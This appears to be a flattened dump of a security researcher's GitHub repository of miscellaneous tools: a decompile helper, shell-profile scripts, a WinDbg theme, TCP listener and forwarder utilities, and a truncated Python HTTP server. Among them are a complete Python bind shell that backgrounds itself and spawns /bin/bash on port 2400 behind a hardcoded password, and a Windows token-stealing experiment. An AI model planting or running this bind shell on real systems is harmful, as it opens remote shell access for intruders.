16 | /Od /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_MBCS" /Gm /EHsc /RTC1 /MLd /Yu"stdafx.h" /Fp"Debug/tok_play.pch" /Fo"Debug/" /Fd"Debug/vc70.pdb" /W3 /c /Wp64 /ZI /TP
17 | .\tok_play.cpp
18 | ]
19 | Creating command line "cl.exe @f:\projects\improper_token\tok_play\Debug\RSP00002D.rsp /nologo"
20 | Creating temporary file "f:\projects\improper_token\tok_play\Debug\RSP00002E.rsp" with contents
21 | [
22 | /OUT:"Debug/tok_play.exe" /INCREMENTAL /NOLOGO /DEBUG /PDB:"Debug/tok_play.pdb" /SUBSYSTEM:CONSOLE /MACHINE:X86  kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib
23 | .\debug\stdafx.obj
24 | .\debug\tok_play.obj
25 | ]
26 | Creating command line "link.exe @f:\projects\improper_token\tok_play\Debug\RSP00002E.rsp"
27 | 
28 | Output Window 29 |
  
Compiling...
30 | tok_play.cpp
31 | f:\projects\improper_token\tok_play\tok_play.cpp(38) : warning C4313: 'printf'  : '%x' in format string conflicts with argument 1 of type 'HANDLE'
32 | f:\projects\improper_token\tok_play\tok_play.cpp(38) : warning C4313: 'printf'  : '%x' in format string conflicts with argument 2 of type 'HANDLE'
33 | f:\projects\improper_token\tok_play\tok_play.cpp(38) : warning C4313: 'printf'  : '%x' in format string conflicts with argument 3 of type 'const char *'
34 | f:\projects\improper_token\tok_play\tok_play.cpp(47) : warning C4313: 'printf'  : '%x' in format string conflicts with argument 1 of type 'HANDLE'
35 | f:\projects\improper_token\tok_play\tok_play.cpp(47) : warning C4313: 'printf'  : '%x' in format string conflicts with argument 2 of type 'HANDLE *__w64  '
36 | Linking...
37 | 
38 | Results 39 |
  
40 | Build log was saved at "file://f:\projects\improper_token\tok_play\Debug\BuildLog.htm"
41 | tok_play - 0 error(s), 5 warning(s)
42 |
-------------------------------------------------------------------------------- /investigate_windows_tokens/tok_play/Debug/stdafx.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xipiter/MiscTools/eca7cc86db9975b8ecc5211f2409b2ba9e12c2c5/investigate_windows_tokens/tok_play/Debug/stdafx.obj -------------------------------------------------------------------------------- /investigate_windows_tokens/tok_play/Debug/tok_play.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xipiter/MiscTools/eca7cc86db9975b8ecc5211f2409b2ba9e12c2c5/investigate_windows_tokens/tok_play/Debug/tok_play.exe -------------------------------------------------------------------------------- /investigate_windows_tokens/tok_play/Debug/tok_play.ilk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xipiter/MiscTools/eca7cc86db9975b8ecc5211f2409b2ba9e12c2c5/investigate_windows_tokens/tok_play/Debug/tok_play.ilk -------------------------------------------------------------------------------- /investigate_windows_tokens/tok_play/Debug/tok_play.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xipiter/MiscTools/eca7cc86db9975b8ecc5211f2409b2ba9e12c2c5/investigate_windows_tokens/tok_play/Debug/tok_play.obj -------------------------------------------------------------------------------- /investigate_windows_tokens/tok_play/Debug/tok_play.pch: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xipiter/MiscTools/eca7cc86db9975b8ecc5211f2409b2ba9e12c2c5/investigate_windows_tokens/tok_play/Debug/tok_play.pch -------------------------------------------------------------------------------- /investigate_windows_tokens/tok_play/Debug/tok_play.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xipiter/MiscTools/eca7cc86db9975b8ecc5211f2409b2ba9e12c2c5/investigate_windows_tokens/tok_play/Debug/tok_play.pdb -------------------------------------------------------------------------------- /investigate_windows_tokens/tok_play/Debug/vc70.idb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xipiter/MiscTools/eca7cc86db9975b8ecc5211f2409b2ba9e12c2c5/investigate_windows_tokens/tok_play/Debug/vc70.idb -------------------------------------------------------------------------------- /investigate_windows_tokens/tok_play/Debug/vc70.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xipiter/MiscTools/eca7cc86db9975b8ecc5211f2409b2ba9e12c2c5/investigate_windows_tokens/tok_play/Debug/vc70.pdb -------------------------------------------------------------------------------- /investigate_windows_tokens/tok_play/ReadMe.txt: -------------------------------------------------------------------------------- 1 | ======================================================================== 2 | CONSOLE APPLICATION : tok_play Project Overview 3 | ======================================================================== 4 | 5 | AppWizard has created this tok_play application for you. 6 | This file contains a summary of what you will find in each of the files that 7 | make up your tok_play application. 8 | 9 | 10 | tok_play.vcproj 11 | This is the main project file for VC++ projects generated using an Application Wizard. 12 | It contains information about the version of Visual C++ that generated the file, and 13 | information about the platforms, configurations, and project features selected with the 14 | Application Wizard. 15 | 16 | tok_play.cpp 17 | This is the main application source file. 18 | 19 | ///////////////////////////////////////////////////////////////////////////// 20 | Other standard files: 21 | 22 | StdAfx.h, StdAfx.cpp 23 | These files are used to build a precompiled header (PCH) file 24 | named tok_play.pch and a precompiled types file named StdAfx.obj. 25 | 26 | ///////////////////////////////////////////////////////////////////////////// 27 | Other notes: 28 | 29 | AppWizard uses "TODO:" comments to indicate parts of the source code you 30 | should add to or customize. 31 | 32 | ///////////////////////////////////////////////////////////////////////////// 33 | -------------------------------------------------------------------------------- /investigate_windows_tokens/tok_play/stdafx.cpp: -------------------------------------------------------------------------------- 1 | // stdafx.cpp : source file that includes just the standard includes 2 | // tok_play.pch will be the pre-compiled header 3 | // stdafx.obj will contain the pre-compiled type information 4 | 5 | #include "stdafx.h" 6 | 7 | // TODO: reference any additional headers you need in STDAFX.H 8 | // and not in this file 9 | -------------------------------------------------------------------------------- /investigate_windows_tokens/tok_play/stdafx.h: -------------------------------------------------------------------------------- 1 | // stdafx.h : include file for standard system include files, 2 | // or project specific include files that are used frequently, but 3 | // are changed infrequently 4 | // 5 | 6 | #pragma once 7 | 8 | 9 | #include 10 | #include 11 | 12 | // TODO: reference additional headers your program requires here 13 | -------------------------------------------------------------------------------- /investigate_windows_tokens/tok_play/tok_play.cpp: -------------------------------------------------------------------------------- 1 | //tok_play.cpp 2 | #include "stdafx.h" 3 | #include 4 | #include 5 | #include 6 | #include //iostream sux 7 | #include 8 | #include 9 | #define INFO_BUFFER_SIZE MAX_COMPUTERNAME_LENGTH + 1 10 | #define PATH_SIZE INFO_BUFFER_SIZE + MAX_PATH + 4 11 | typedef UINT (WINAPI *PFnMsiInstallProduct) (LPCSTR szPackagePath, LPCSTR szCommandLine); 12 | 13 | 14 | int main(int argc, char* argv[]) { 15 | HANDLE hToken,hThread; 16 | HMODULE hMsi = 0; 17 | CHAR infoBuf[INFO_BUFFER_SIZE]; 18 | //DWORD tid; 19 | DWORD bufCharCount = INFO_BUFFER_SIZE; 20 | //Get name of the computer. 21 | GetComputerName(infoBuf, &bufCharCount); 22 | printf("\n...Pausing, hit enter to continue with MSI.dll load."); 23 | getchar(); 24 | //Why msi.dll? 25 | //We happened to know in this case (ahead of time) that msi.dll has functions inside it that 26 | //get a token by requesting one from a *special* process via a *special* rpc named port. 27 | //we just wanna see what happens when this subthread gets the token. 28 | hMsi = LoadLibrary("msi.dll"); 29 | PFnMsiInstallProduct MsiInstallProduct = 0; 30 | MsiInstallProduct = (PFnMsiInstallProduct)GetProcAddress(hMsi, "MsiInstallProductA"); 31 | MsiInstallProduct("",""); 32 | hThread=GetCurrentThread(); //tid = GetCurrentThreadId(); 33 | //Get Local System account identity token and set it to current thread 34 | hToken=(void *)0x1; 35 | printf("\nhToken Before: %x @ address 0x%x in thread: %x", hToken, hThread); 36 | /* a test to see if we can steal the token. 37 | while(SetThreadToken(&hThread,hToken)==NULL){ 38 | hToken=(void*)((int)hToken+1); 39 | } 40 | */ 41 | if(SetThreadToken(&hThread,hToken)!=NULL){ 42 | printf("\n\tERROR #31337: Nah son, you aint down wit Shaolin."); 43 | } 44 | printf("\nhToken After: %x @ address 0x%x", hToken, &hToken); 45 | printf("\n...Pausing, hit enter to quit."); 46 | getchar(); 47 | }; 48 | -------------------------------------------------------------------------------- /investigate_windows_tokens/tok_play/tok_play.ncb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xipiter/MiscTools/eca7cc86db9975b8ecc5211f2409b2ba9e12c2c5/investigate_windows_tokens/tok_play/tok_play.ncb -------------------------------------------------------------------------------- /investigate_windows_tokens/tok_play/tok_play.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xipiter/MiscTools/eca7cc86db9975b8ecc5211f2409b2ba9e12c2c5/investigate_windows_tokens/tok_play/tok_play.obj -------------------------------------------------------------------------------- /investigate_windows_tokens/tok_play/tok_play.sln: -------------------------------------------------------------------------------- 1 | Microsoft Visual Studio Solution File, Format Version 8.00 2 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "tok_play", "tok_play.vcproj", "{CBD795C3-4376-48C2-A26D-A850BD1ED42D}" 3 | ProjectSection(ProjectDependencies) = postProject 4 | EndProjectSection 5 | EndProject 6 | Global 7 | GlobalSection(SolutionConfiguration) = preSolution 8 | Debug = Debug 9 | Release = Release 10 | EndGlobalSection 11 | GlobalSection(ProjectConfiguration) = postSolution 12 | {CBD795C3-4376-48C2-A26D-A850BD1ED42D}.Debug.ActiveCfg = Debug|Win32 13 | {CBD795C3-4376-48C2-A26D-A850BD1ED42D}.Debug.Build.0 = Debug|Win32 14 | {CBD795C3-4376-48C2-A26D-A850BD1ED42D}.Release.ActiveCfg = Release|Win32 15 | {CBD795C3-4376-48C2-A26D-A850BD1ED42D}.Release.Build.0 = Release|Win32 16 | EndGlobalSection 17 | GlobalSection(ExtensibilityGlobals) = postSolution 18 | EndGlobalSection 19 | GlobalSection(ExtensibilityAddIns) = postSolution 20 | EndGlobalSection 21 | EndGlobal 22 | -------------------------------------------------------------------------------- /investigate_windows_tokens/tok_play/tok_play.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xipiter/MiscTools/eca7cc86db9975b8ecc5211f2409b2ba9e12c2c5/investigate_windows_tokens/tok_play/tok_play.suo -------------------------------------------------------------------------------- /investigate_windows_tokens/tok_play/tok_play.vcproj: -------------------------------------------------------------------------------- 1 | 2 | 8 | 9 | 11 | 12 | 13 | 19 | 30 | 32 | 40 | 42 | 44 | 46 | 48 | 50 | 52 | 54 | 56 | 58 | 60 | 61 | 67 | 75 | 77 | 86 | 88 | 90 | 92 | 94 | 96 | 98 | 100 | 102 | 104 | 106 | 107 | 108 | 109 | 110 | 111 | 115 | 117 | 119 | 122 | 123 | 125 | 128 | 129 | 130 | 132 | 133 | 134 | 138 | 140 | 141 | 142 | 146 | 147 | 149 | 150 | 151 | 152 | 153 | 154 | -------------------------------------------------------------------------------- /java_decompile_everything/README.md: -------------------------------------------------------------------------------- 1 | JAD Decompile EVERYTHING 2 | ====== 3 | 4 | At the time this was written, JAD did not support recursively decompiling 5 | everything in a directory (in fact it probably still doesn't). So this tool 6 | will do it for you. 7 | 8 | There is also a simple shellscript for recursively extracting jars also. 9 | 10 | -------------------------------------------------------------------------------- /java_decompile_everything/find_and_extract_jars.sh: -------------------------------------------------------------------------------- 1 | find ./xtinst -name "*.jar" -exec cp {} ./jars \; 2 | cd jars; find ./ -name "*.jar" -exec unzip {} \; 3 | -------------------------------------------------------------------------------- /java_decompile_everything/jadall.py: -------------------------------------------------------------------------------- 1 | !/usr/bin/env python 2 | """ 3 | JAD ALL 4 | 5 | "Recursive" hack for JAD. Will execute JAD and dump the .java output by jad 6 | into the same directory as the .class 7 | 8 | USAGE: 9 | jadall.py -j -d 10 | 11 | """ 12 | import os 13 | import sys 14 | import getopt 15 | 16 | global jadexe 17 | 18 | def _checkdir(adir): 19 | # print "Recursing into directory %s" % (adir) 20 | for root, dirs, files in os.walk(adir, topdown=False): 21 | for file in files: 22 | if file.endswith(".class"): 23 | print "Decompiling ", root+os.path.sep+file 24 | cmd = "%s -r -o -s .java %s" % (jadexe, root+os.path.sep+file) 25 | #print "\t",cmd 26 | os.popen(cmd) 27 | 28 | for a in dirs: 29 | _checkdir(root+os.path.sep+a) 30 | try: 31 | opts, args = getopt.getopt(sys.argv[1:],\ 32 | "-j:d:", ["--jad=", "--dir="]) 33 | except getopt.error: 34 | print __doc__ 35 | sys.exit(2) 36 | if len(sys.argv) <= 1: 37 | print __doc__ 38 | sys.exit(2) 39 | else: 40 | print __doc__ 41 | 42 | for o, a in opts: 43 | if o in ("-j", "--jad"): 44 | jadexe = a 45 | if o in ("-d", "--dir"): 46 | checkdir = a 47 | 48 | if not os.path.exists(checkdir): 49 | print "Directory %s does not exist. Quitting" % checkdir 50 | sys.exit(1) 51 | elif not os.path.exists(jadexe): 52 | print "Jad executable not found here: %s" % jadexe 53 | else: 54 | print("Checking the directory: %s" % checkdir) 55 | os.chdir(checkdir) 56 | _checkdir(checkdir) 57 | 58 | -------------------------------------------------------------------------------- /jump_to_work_directory/README.md: -------------------------------------------------------------------------------- 1 | SetWorkFocus 2 | ===== 3 | 4 | This is just a simple thing to let you run the command "setworkfocus" from 5 | anywhere. It will then take your current working directory and smash it into 6 | your bash profile, so that next time that you open a shell it drops you into your 7 | "workfocus" directory. If you are like me, you spend most of your time deep in Git/SVN checkouts 8 | or on weird file share paths all of which SUUUUCK to type in to get to in a new terminal ....this fixes that. 9 | 10 | # Installation 11 | 1. Make the .py or .rb (whichever version you choose to use) executable and copy to your $PATH(i.e. /usr/bin) 12 | 2. Copy the ```dot_profile``` file to your ```~/.bash_profile``` or the equivalent for whichever shell you are using 13 | 3. Modify the line in ```setworkfocus``` that reads ```bashrc = os.getenv("HOME")+"/.profile"``` to reference your correct "profile" file depending on your shell. If using bash, you won't have to change this line. 14 | 15 | 16 | # Usage: 17 | ``` 18 | tachiro:ropgenius s7$ setworkfocus 19 | Found "export" but no "WORKFOCUS" on line #4. 20 | Found "export" but no "WORKFOCUS" on line #8. 21 | Found "export" but no "WORKFOCUS" on line #9. 22 | Found "export" but no "WORKFOCUS" on line #10. 23 | Found "export" but no "WORKFOCUS" on line #12. 24 | Found "export" but no "WORKFOCUS" on line #13. 25 | Found "export WORKFOCUS=" on line #14 of /Users/s7/.bash_profile 26 | Changed WORKFOCUS to /Users/s7/Desktop/WORKDRIVE/CHECKOUTS/XipiterHQ/Xipiter_OLD/projects/ropgenius 27 | tachiro:ropgenius s7$ 28 | ``` 29 | 30 | Now when opening any new shell: 31 | 32 | ``` 33 | Last login: Fri Jan 9 12:29:15 on ttys004 34 | 35 | 36 | ************ WORKFOCUS ************** 37 | /Users/s7/Desktop/WORKDRIVE/CHECKOUTS/XipiterHQ/Xipiter_OLD/projects/ropgenius 38 | ************************************* 39 | 40 | tachiro:ropgenius s7$ pwd 41 | /Users/s7/Desktop/WORKDRIVE/CHECKOUTS/XipiterHQ/Xipiter_OLD/projects/ropgenius 42 | tachiro:ropgenius s7$ 43 | ``` 44 | -------------------------------------------------------------------------------- /jump_to_work_directory/setworkfocus.py/dot_profile: -------------------------------------------------------------------------------- 1 | # .bashrc 2 | 3 | # User specific aliases and functions 4 | export WORKFOCUS=/Users/s7ephen 5 | echo -ne "\n\n\t************ WORKFOCUS **************" 6 | echo -ne "\n\t$WORKFOCUS" 7 | echo -ne "\n\t*************************************\n\n" 8 | cd $WORKFOCUS 9 | -------------------------------------------------------------------------------- /jump_to_work_directory/setworkfocus.py/setwork.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import os 4 | bashrc = os.getenv("HOME")+"/.bash_profile" 5 | cwd = os.getcwd() 6 | #print bashrc 7 | lines = [] 8 | try: 9 | bashrc_h = open(bashrc, "r") 10 | for line in bashrc_h: 11 | lines.append(line) 12 | bashrc_h.close() 13 | i = 0 14 | for l in lines: 15 | tmp = l.split(" ") 16 | if (tmp[0] == "export"): 17 | if (tmp[1].find("WORKFOCUS") != -1): 18 | print "Found \"export WORKFOCUS=\" on line #%d of %s" % (i,bashrc) 19 | lines[i] = "export WORKFOCUS="+cwd+"\n" 20 | print "Changed WORKFOCUS to %s" % (cwd) 21 | os.putenv("WORKFOCUS", cwd) 22 | bashrc_h = open(bashrc, "w") 23 | for l in lines: 24 | bashrc_h.write(l) 25 | bashrc_h.close() 26 | else: 27 | print "Found \"export\" but no \"WORKFOCUS\" on line #%d." % (i) 28 | i += 1 29 | except IOError, (errno, strerror): 30 | print "\nSomething got fucked up in the file IO: %s %s" % (errno, strerror), 31 | -------------------------------------------------------------------------------- /jump_to_work_directory/setworkfocus.rb/dot_profile: -------------------------------------------------------------------------------- 1 | # .bashrc 2 | 3 | # User specific aliases and functions 4 | export WORKFOCUS=/Users/s7ephen 5 | echo -ne "\n\n\t************ WORKFOCUS **************" 6 | echo -ne "\n\t$WORKFOCUS" 7 | echo -ne "\n\t*************************************\n\n" 8 | cd $WORKFOCUS 9 | -------------------------------------------------------------------------------- /jump_to_work_directory/setworkfocus.rb/setwork.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | # 3 | # == WorkFocus 4 | # This thing should be put in your execute path ($PATH or whatever). 5 | # When you run it it sets an environment variable called "WORK" to your 6 | # current directory and modifies your .profile to automatically chdir() to 7 | # this directory when bash starts. This way you can "bookmark" directories 8 | # and remember where it is you were working last. This is particularly useful 9 | # when developing deep in file shares and SVN/GIT checkouts with large paths. 10 | # For example, my login looks like this: 11 | # 12 | # Last login: Mon Nov 2 17:17:18 on ttys005 13 | # You have mail. 14 | # 15 | # *********WORK FOCUS******** 16 | # /data/CHECKOUTS/github/ 17 | # ***************************** 18 | # 19 | # navi-two:github s7ephen$ 20 | 21 | # 22 | # == Author 23 | # Stephen A. Ridley 24 | # stephen@sa7ori.org 25 | # 26 | #-- 27 | # ATTENTION ALL YE HIGH-AND-MIGHTY RUBY STYLE CRITICS: 28 | # Let me put this in the language you love so much: 29 | # if the_code.does_it_work?: You::stfu() end 30 | #++ 31 | require 'time' 32 | 33 | def new_profile(fname,data) 34 | if !File::writable?(fname) then 35 | puts "File: #{fname} is not writeable!" 36 | Kernel.exit(1) 37 | end 38 | f_h = File.new(fname,'w') 39 | f_h.write(data) 40 | f_h.close() 41 | end 42 | 43 | bashrc = ENV['HOME']+'/.profile' 44 | pwd = Dir::pwd 45 | if (!File::exists?(bashrc) & File::readable?(bashrc)) then 46 | puts "[-] Error: #{bashrc} doesn't seem to exist or is not readable." 47 | Kernel.exit(1) 48 | end 49 | f_h = File.new(bashrc,'r+') 50 | fbytes = f_h.read() 51 | f_h.close() 52 | block = < 54 | # Added by setwork.rb on: #{Time.new().asctime} 55 | # Please do not edit this by hand! 56 | # 57 | export WORK=#{pwd} 58 | echo -ne \'\\n*********WORK FOCUS********\\n\' 59 | echo -ne \'#{pwd}\\n\' 60 | echo -ne \'*****************************\\n\\n\\n\' 61 | cd #{pwd} 62 | # 63 | BLOCK 64 | if fbytes.index("#") != nil then 65 | fb = fbytes.split("#");fb.delete("") 66 | if fb.length > 3 then 67 | puts "[-] Found multiple occurances of tags. Please fix." 68 | Kernel.exit(1) 69 | else 70 | fb.delete_at(1) 71 | new_profile(bashrc, fb.join().chop()+block) 72 | puts "\n\n*** $WORK focus set to: ***\n#{pwd}\n\n" 73 | #puts fb.join()+block 74 | end 75 | else 76 | puts "[+] WORKFOCUS block not found in .profile, creating it." 77 | new_profile(bashrc, fbytes.chop()+block) 78 | puts "\n\n*** $WORK focus set to: ***\n#{pwd}\n\n" 79 | #puts fbytes+block 80 | end 81 | 82 | 83 | -------------------------------------------------------------------------------- /make_windbg_UI_not_suck/README.md: -------------------------------------------------------------------------------- 1 | Make Windbg Look Better 2 | ===== 3 | 4 | So everyone likes the way OllyDBG looks. But basically every other debugger 5 | pales in comparison to the power of WinDBG (sorry Immunity ;-). So this is 6 | a Windbg workspace file that will make WinDBG look A LOT better. Green Text, black background, 7 | and a VERY useful window arrangement. 8 | 9 | -------------------------------------------------------------------------------- /make_windbg_UI_not_suck/sa7ori_windbg_workspace_template.wew: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xipiter/MiscTools/eca7cc86db9975b8ecc5211f2409b2ba9e12c2c5/make_windbg_UI_not_suck/sa7ori_windbg_workspace_template.wew -------------------------------------------------------------------------------- /python_bindshell/README.md: -------------------------------------------------------------------------------- 1 | Pure Python BindShell 2 | ===== 3 | 4 | Binds a shell to a port. Also has a simple "password" before letting you access it. 5 | Lame, but sometimes useful. Especially for those weird cases where python is on the 6 | target system but you cant get binaries to it, only text (like crappy web bugs). 7 | 8 | -------------------------------------------------------------------------------- /python_bindshell/bindshell.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # A Python Bindshell, with a "password' 3 | import md5,os,sys,select 4 | from pty import spawn, fork 5 | from socket import * 6 | 7 | if os.fork(): sys.exit(0) 8 | 9 | try: 10 | watch = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP) 11 | port = 2400 12 | die = False 13 | # watch.set_reuse_addr() 14 | watch.bind(("",port)) 15 | watch.listen(5) 16 | except: 17 | print "[%d] unable to create socket" % os.getpid() 18 | else: 19 | print "[%d] bindshell on port %d" % (os.getpid(),port) 20 | 21 | while True: 22 | sock, remote = watch.accept() 23 | if os.fork(): continue 24 | pid, childID = fork() 25 | 26 | if pid == 0: 27 | if (raw_input("password? ")) == "mtso": 28 | spawn( "/bin/bash") 29 | else: 30 | b = sock.makefile(os.O_RDONLY|os.O_NONBLOCK) 31 | c = os.fdopen(childID,'r+'); data = ""; 32 | x = {b:c,c:b} 33 | 34 | while True: 35 | for f in select.select([b,c],[],[])[0]: 36 | try: d = os.read(f.fileno(),4096) 37 | except: sys.exit(0) 38 | if f is c and d.strip()==data: 39 | data= ""; continue 40 | x[f].write(d) 41 | x[f].flush() 42 | data = d.strip() 43 | 44 | sock.close() 45 | -------------------------------------------------------------------------------- /python_listen_and_dump/README.md: -------------------------------------------------------------------------------- 1 | Listen And Dump: 2 | ===== 3 | 4 | Sometimes for testing "call homes" or even simple web bugs (like 5 | you can get him to make a GET request or something), or for weird 6 | things like when you need to compare the EXACT difference between two kinds 7 | of TCP requests or something... 8 | 9 | -------------------------------------------------------------------------------- /python_listen_and_dump/just_listen.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # Just something to listen on a port and hexdump out whatever it gets. 4 | # 5 | # 6 | 7 | import socket 8 | import sys 9 | 10 | class Listener: 11 | def __init__(self, ip, port): 12 | self.ip = ip 13 | self.port = port 14 | 15 | def listening_server(self): 16 | self.connectback_h = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 17 | self.connectback_h.bind((self.ip, self.port)) 18 | self.connectback_h.listen(5) 19 | while 1: 20 | (clientsocket, address) = self.connectback_h.accept() 21 | self.hsend = clientsocket.send 22 | self.hrecv = clientsocket.recv 23 | print "Connect from ", address, " ." 24 | while 1: 25 | data = clientsocket.recv(1024) 26 | print self.hexdump(data) 27 | if not data: break 28 | clientsocket.close() 29 | 30 | def hexdump(self, src, length=16): 31 | N=0; result='' 32 | self.FILTER=''.join([(len(repr(chr(x)))==3) and chr(x) or '.' for x in range(256)]) 33 | while src: 34 | s,src = src[:length],src[length:] 35 | hexa = ' '.join(["%02X"%ord(x) for x in s]) 36 | s = s.translate(self.FILTER) 37 | result += "%08X: %-*s |%s|\n" % (N, length*3, hexa, s) 38 | N+=length 39 | return result 40 | 41 | if __name__=="__main__": 42 | import optparse 43 | parser = optparse.OptionParser() 44 | parser.add_option( 45 | '-l','--local-ip', 46 | dest='local_ip',default='127.0.0.1', 47 | help='IP of interface to bind to') 48 | parser.add_option( 49 | '-p','--local-port', 50 | type='int',dest='local_port',default=80, 51 | help='Port to bind to') 52 | if len(sys.argv) == 1: 53 | sys.argv.append("--help") 54 | options, args = parser.parse_args() 55 | print "Listening on %s:%d..." % (options.local_ip, options.local_port) 56 | try: 57 | serv = Listener(options.local_ip, options.local_port) 58 | serv.listening_server() 59 | except KeyboardInterrupt: 60 | print "Quitting..." 61 | sys.exit(0) 62 | -------------------------------------------------------------------------------- /python_listen_and_dump/tcp_sender.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import socket 3 | import struct 4 | import code 5 | import os 6 | import sys 7 | from threading import Thread 8 | 9 | def hexdump(src, length=16): 10 | N=0; result='' 11 | FILTER=''.join([(len(repr(chr(x)))==3) and chr(x) or '.' for x in range(256)]) 12 | while src: 13 | s,src = src[:length],src[length:] 14 | hexa = ' '.join(["%02X"%ord(x) for x in s]) 15 | s = s.translate(FILTER) 16 | result += "%08X: %-*s |%s|\n" % (N, length*3, hexa, s) 17 | N+=length 18 | print result 19 | 20 | def dump_thread(s): 21 | while True: 22 | dump_incoming(s) 23 | print "Socket terminated." 24 | 25 | def dump_incoming(s): 26 | s.setblocking(1) 27 | data = s.recv(1024) 28 | s.setblocking(0) 29 | if len(data) > 0: 30 | print "\n" 31 | hexdump(data) 32 | 33 | def make_msg(packet): 34 | msg = "" 35 | for a in packet: 36 | msg+=struct.pack('B', a) 37 | return msg 38 | 39 | host = raw_input('Hostname to connect to?> ') 40 | str(host) # unnecessary variable cast 41 | port = raw_input("Port on "+host+" ?>") 42 | port = int(port) 43 | print("\nOk %s:%d it is!\n") %(host, port) 44 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 45 | s.connect((host, port)) 46 | s.setblocking(0) 47 | Thread(target=dump_thread, args=[s]).start() 48 | print ("Connected...") 49 | a = "GET\r\n\r\n" 50 | s.send(a) 51 | code.InteractiveConsole(locals()).interact(banner="\n\n\nTCP SENDER>\n ") 52 | -------------------------------------------------------------------------------- /python_tcp_forwarding/README.md: -------------------------------------------------------------------------------- 1 | Python Port forwarding 2 | ===== 3 | 4 | This is a useful tool for during TCP port forward purely in Python. 5 | This code was extended to create the "Portforwarding Interceptor" 6 | which is like "Burp Proxy" but for raw TCP, allowing you to port forward 7 | and modify the data before passing it on... 8 | 9 | -------------------------------------------------------------------------------- /python_tcp_forwarding/pf.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2.4 2 | # 3 | # 4 | # 5 | 6 | import socket 7 | import asyncore 8 | class forwarder(asyncore.dispatcher): 9 | def __init__(self, ip, port, remoteip,remoteport,backlog=5): 10 | asyncore.dispatcher.__init__(self) 11 | self.remoteip=remoteip 12 | self.remoteport=remoteport 13 | self.create_socket(socket.AF_INET,socket.SOCK_STREAM) 14 | self.set_reuse_addr() 15 | self.bind((ip,port)) 16 | self.listen(backlog) 17 | 18 | def handle_accept(self): 19 | conn, addr = self.accept() 20 | # print '--- Connect --- ' 21 | sender(receiver(conn),self.remoteip,self.remoteport) 22 | 23 | class receiver(asyncore.dispatcher): 24 | def __init__(self,conn): 25 | asyncore.dispatcher.__init__(self,conn) 26 | self.from_remote_buffer='' 27 | self.to_remote_buffer='' 28 | self.sender=None 29 | 30 | def handle_connect(self): 31 | pass 32 | 33 | def handle_read(self): 34 | read = self.recv(4096) 35 | # print '%04i -->'%len(read) 36 | self.from_remote_buffer += read 37 | 38 | def writable(self): 39 | return (len(self.to_remote_buffer) > 0) 40 | 41 | def handle_write(self): 42 | sent = self.send(self.to_remote_buffer) 43 | # print '%04i <--'%sent 44 | self.to_remote_buffer = self.to_remote_buffer[sent:] 45 | 46 | def handle_close(self): 47 | self.close() 48 | if self.sender: 49 | self.sender.close() 50 | 51 | class sender(asyncore.dispatcher): 52 | def __init__(self, receiver, remoteaddr,remoteport): 53 | asyncore.dispatcher.__init__(self) 54 | self.receiver=receiver 55 | receiver.sender=self 56 | self.create_socket(socket.AF_INET, socket.SOCK_STREAM) 57 | self.connect((remoteaddr, remoteport)) 58 | 59 | def handle_connect(self): 60 | pass 61 | 62 | def handle_read(self): 63 | read = self.recv(4096) 64 | # print '<-- %04i'%len(read) 65 | self.receiver.to_remote_buffer += read 66 | 67 | def writable(self): 68 | return (len(self.receiver.from_remote_buffer) > 0) 69 | 70 | def handle_write(self): 71 | sent = self.send(self.receiver.from_remote_buffer) 72 | # print '--> %04i'%sent 73 | self.receiver.from_remote_buffer = self.receiver.from_remote_buffer[sent:] 74 | 75 | def handle_close(self): 76 | self.close() 77 | self.receiver.close() 78 | 79 | if __name__=='__main__': 80 | import optparse 81 | parser = optparse.OptionParser() 82 | 83 | parser.add_option( 84 | '-l','--local-ip', 85 | dest='local_ip',default='127.0.0.1', 86 | help='Local IP address to bind to') 87 | parser.add_option( 88 | '-p','--local-port', 89 | type='int',dest='local_port',default=80, 90 | help='Local port to bind to') 91 | parser.add_option( 92 | '-r','--remote-ip',dest='remote_ip', 93 | help='Local IP address to bind to') 94 | parser.add_option( 95 | '-P','--remote-port', 96 | type='int',dest='remote_port',default=80, 97 | help='Remote port to bind to') 98 | options, args = parser.parse_args() 99 | 100 | forwarder(options.local_ip,options.local_port,options.remote_ip,options.remote_port) 101 | asyncore.loop() 102 | -------------------------------------------------------------------------------- /python_webserver/README.md: -------------------------------------------------------------------------------- 1 | Pure Python HTTP "Server" 2 | ===== 3 | 4 | Useful for a lot of crap. Sharing files with people quickly, 5 | or any case where you need to quickly serve up a file or something 6 | via an HTTP server, but you are too lazy to actually run a webserver 7 | or you cant get out to put it on your personal webserver. 8 | 9 | 10 | -------------------------------------------------------------------------------- /python_webserver/http_ext_test.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2.5 2 | """ 3 | Trying to extend HTTPServer to accept and make use 4 | of an external object. 5 | """ 6 | 7 | try: 8 | import string,cgi,time,getopt,sys, socket, BaseHTTPServer 9 | from os import curdir, sep 10 | from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer 11 | except ImportError: 12 | print "There is a problem importing a critical component." 13 | raise 14 | 15 | 16 | class TextGenerator: 